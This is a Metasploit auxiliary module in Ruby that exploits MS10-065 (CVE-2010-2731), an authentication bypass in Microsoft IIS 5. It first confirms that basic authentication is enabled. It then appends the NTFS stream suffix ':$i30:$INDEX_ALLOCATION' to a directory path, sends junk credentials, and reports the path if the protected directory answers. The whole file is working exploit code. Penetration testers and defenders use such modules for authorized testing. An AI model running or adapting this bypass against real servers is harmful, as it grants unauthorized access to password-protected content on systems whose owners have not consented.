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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',
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        'Description' => %q{
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          This module bypasses basic authentication for Internet Information Services (IIS).
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          By appending the NTFS stream name to the directory name in a request, it is
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          possible to bypass authentication.
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        },
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        'References' => [
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          [ 'CVE', '2010-2731' ],
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          [ 'OSVDB', '66160' ],
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          [ 'MSB', 'MS10-065' ],
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          [ 'URL', 'https://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/' ]
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        ],
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        'Author' => [
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          'Soroush Dalili',
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          'sinn3r'
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        ],
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        'License' => MSF_LICENSE,
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        'DisclosureDate' => '2010-07-02'
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The URI directory where basic auth is enabled', '/'])
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      ]
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    )
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  end
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  def has_auth
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    uri = normalize_uri(target_uri.path)
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    uri << '/' if uri[-1, 1] != '/'
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    res = send_request_cgi({
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      'uri' => uri,
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      'method' => 'GET'
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    })
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    vprint_status(res.body) if res
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    return (res and res.code == 401)
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  end
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  def try_auth
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    uri = normalize_uri(target_uri.path)
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    uri << '/' if uri[-1, 1] != '/'
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    uri << Rex::Text.rand_text_alpha(rand(5..14)) + ".#{Rex::Text.rand_text_alpha(3)}"
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    dir = File.dirname(uri) + ':$i30:$INDEX_ALLOCATION' + '/'
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    user = Rex::Text.rand_text_alpha(rand(5..14))
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    pass = Rex::Text.rand_text_alpha(rand(5..14))
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    vprint_status("Requesting: #{dir}")
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    res = send_request_cgi({
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      'uri' => dir,
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      'method' => 'GET',
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      'authorization' => basic_auth(user, pass)
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    })
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    vprint_status(res.body) if res
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    return (res && (res.code != 401) && (res.code != 404)) ? dir : ''
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  end
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  def run
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    if !has_auth
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      print_error('No basic authentication enabled')
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      return
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    end
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    bypass_string = try_auth
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    if bypass_string.empty?
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      print_error('The bypass attempt did not work')
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    else
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      print_good("You can bypass auth by doing: #{bypass_string}")
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    end
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  end
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end
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